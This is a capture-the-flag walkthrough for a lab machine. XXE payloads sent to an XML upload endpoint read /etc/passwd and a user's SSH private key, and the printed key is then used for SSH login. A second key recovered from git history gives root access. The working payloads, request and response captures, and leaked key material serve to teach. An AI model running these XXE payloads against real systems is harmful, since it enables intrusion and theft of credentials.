In this machine we are provided with an HTTP service running on port 5000 and an SSH service on port 22.
Enumerating the web service reveals a /upload page that seems to accept XML files:
<!doctype html><title>Send feed with XML</title>This is a test API! The final API will not have this functionality.<h1>Upload a new file</h1><p>XML elements: Author, Subject, Content<!-- TODO: make XML schema for this --></p><form method=post enctype=multipart/form-data> <p><input type=file name=file> <input type=submit value=Upload></form>
Based on the comment in the source I assumed we needed to find the correct upload format. Uploading any valid XML file results in an error 500 but when finding the correct format, the document is accepted and processed:
POST /upload HTTP/1.1
Host: 10.10.10.91:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.91:5000/upload
Color: cyan
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------57607349219753156261293885630
Content-Length: 299
-----------------------------57607349219753156261293885630
Content-Disposition: form-data; name="file"; filename="test.xml"
Content-Type: text/xml
<file>
<Author>foo</Author>
<Subject>bar</Subject>
<Content>test</Content>
</file>
-----------------------------57607349219753156261293885630--
HTTP Response:
HTTP/1.1 200 OK
Server: gunicorn/19.7.1
Date: Tue, 10 Jul 2018 09:13:08 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 148
PROCESSED BLOGPOST:
Author: foo
Subject: bar
Content: test
URL for later reference: /uploads/test.xml
File path: /home/roosa/deploy/src
Now we can go for exploitation, the obvious choice would be XXE and indeed, it works, payload:
<?xml version="1.0" encoding="utf-8" standalone="no" ?>
<!DOCTYPE updateProfile [
<!ENTITY payload SYSTEM "file:///etc/passwd">
]>
<file>
<Author>foo</Author>
<Subject>bar</Subject>
<Content>&payload;</Content>
</file>
Response:
PROCESSED BLOGPOST:
Author: foo
Subject: bar
Content: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
osboxes:x:1000:1000:osboxes.org,,,:/home/osboxes:/bin/false
git:x:1001:1001:git,,,:/home/git:/bin/bash
roosa:x:1002:1002:,,,:/home/roosa:/bin/bash
sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin
blogfeed:x:1003:1003:,,,:/home/blogfeed:/bin/false
URL for later reference: /uploads/test.xml
File path: /home/roosa/deploy/src
Now for exploitation, let's find the SSH private key of the roosa user since SSH is open:
<?xml version="1.0" encoding="utf-8" standalone="no" ?>
<!DOCTYPE file [
<!ENTITY payload SYSTEM "file:///home/roosa/.ssh/id_rsa">
]>
<file>
<Author>foo</Author>
<Subject>bar</Subject>
<Content>&payload;</Content>
</file>
Response:
PROCESSED BLOGPOST:
Author: foo
Subject: bar
Content: -----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAuMMt4qh/ib86xJBLmzePl6/5ZRNJkUj/Xuv1+d6nccTffb/7
9sIXha2h4a4fp18F53jdx3PqEO7HAXlszAlBvGdg63i+LxWmu8p5BrTmEPl+cQ4J
R/R+exNggHuqsp8rrcHq96lbXtORy8SOliUjfspPsWfY7JbktKyaQK0JunR25jVk
v5YhGVeyaTNmSNPTlpZCVGVAp1RotWdc/0ex7qznq45wLb2tZFGE0xmYTeXgoaX4
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koarlmzP1M0KPyaVrID3vgAvuJo3P6ynOoXlmn/oncZZdtwmhEjC23XALItW+lh7
e7ZKcMoH4J2W8OsbRXVF9YLSZz/AgHFI5XWp7V0Fyh2hp7UMe4dY0e1WKQn0wRKe
8oa9wQkCgYEA2tpna+vm3yIwu4ee12x2GhU7lsw58dcXXfn3pGLW7vQr5XcSVoqJ
Lk6u5T6VpcQTBCuM9+voiWDX0FUWE97obj8TYwL2vu2wk3ZJn00U83YQ4p9+tno6
NipeFs5ggIBQDU1k1nrBY10TpuyDgZL+2vxpfz1SdaHgHFgZDWjaEtUCgYEA2B93
hNNeXCaXAeS6NJHAxeTKOhapqRoJbNHjZAhsmCRENk6UhXyYCGxX40g7i7T15vt0
ESzdXu+uAG0/s3VNEdU5VggLu3RzpD1ePt03eBvimsgnciWlw6xuZlG3UEQJW8sk
A3+XsGjUpXv9TMt8XBf3muESRBmeVQUnp7RiVIcCgYBo9BZm7hGg7l+af1aQjuYw
agBSuAwNy43cNpUpU3Ep1RT8DVdRA0z4VSmQrKvNfDN2a4BGIO86eqPkt/lHfD3R
KRSeBfzY4VotzatO5wNmIjfExqJY1lL2SOkoXL5wwZgiWPxD00jM4wUapxAF4r2v
vR7Gs1zJJuE4FpOlF6SFJQKBgHbHBHa5e9iFVOSzgiq2GA4qqYG3RtMq/hcSWzh0
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y351RNrwOc2gJzQdJieRrX+thL8wK8DIdON9GbFBLXrxMo2ilnBGVjWbJstvI9Yl
aw0tAoGAGkndihmC5PayKdR1PYhdlVIsfEaDIgemK3/XxvnaUUcuWi2RhX3AlowG
xgQt1LOdApYoosALYta1JPen+65V02Fy5NgtoijLzvmNSz+rpRHGK6E8u3ihmmaq
82W3d4vCUPkKnrgG8F7s3GL6cqWcbZBd0j9u88fUWfPxfRaQU3s=
-----END RSA PRIVATE KEY-----
URL for later reference: /uploads/test.xml
File path: /home/roosa/deploy/src
After configuring this key and the user roosa for the host, we get access through SSH and the flag:
❯❯❯ ssh 10.10.10.91
The authenticity of host '10.10.10.91 (10.10.10.91)' can't be established.
ECDSA key fingerprint is SHA256:hbD2D4PdnIVpAFHV8sSAbtM0IlTAIpYZ/nwspIdp4Vg.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.10.91' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
135 packages can be updated.
60 updates are security updates.
Last login: Tue Jul 10 04:22:33 2018 from 10.10.15.42
roosa@gitter:~$ cat user.txt
c5808e1643e801d40f09ed87cdecc67bLooking into the user directory reveals the source of the blogfeed application including the version control (.git):
roosa@gitter:~/work/blogfeed$ ls -la
total 28
drwxrwx--- 5 roosa roosa 4096 Mar 21 05:29 .
drwxrwxr-x 3 roosa roosa 4096 Jul 10 05:32 ..
drwxrwx--- 8 roosa roosa 4096 Mar 26 06:13 .git
-rw-rw---- 1 roosa roosa 104 Mar 19 09:24 README.md
drwxrwx--- 3 roosa roosa 4096 Mar 19 09:31 resources
-rwxrw-r-- 1 roosa roosa 180 Mar 21 05:29 run-gunicorn.sh
drwxrwx--- 2 roosa roosa 4096 Jul 10 05:42 src
Given the title of the machin, we can look at the git commit history in order to find more interesting data. After browsing through the commits, we get to this commit:
commit d387abf63e05c9628a59195cec9311751bdb283f
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Mon Mar 19 09:32:03 2018 -0400
add key for feed integration from tnerprise backend
diff --git a/resources/integration/authcredentials.key b/resources/integration/authcredentials.key
new file mode 100644
index 0000000..44c981f
--- /dev/null
+++ b/resources/integration/authcredentials.key
@@ -0,0 +1,28 @@
+-----BEGIN RSA PRIVATE KEY-----
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+-----END RSA PRIVATE KEY-----
+
This is a second private key, configuring this one to log as root on the machine works and we can get the flag:
❯❯❯ ssh 10.10.10.91
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
135 packages can be updated.
60 updates are security updates.
Last login: Tue Jul 10 04:23:07 2018 from 127.0.0.1
root@gitter:~# cat root.txt
d4fe1e7f7187407eebdd3209cb1ac7b3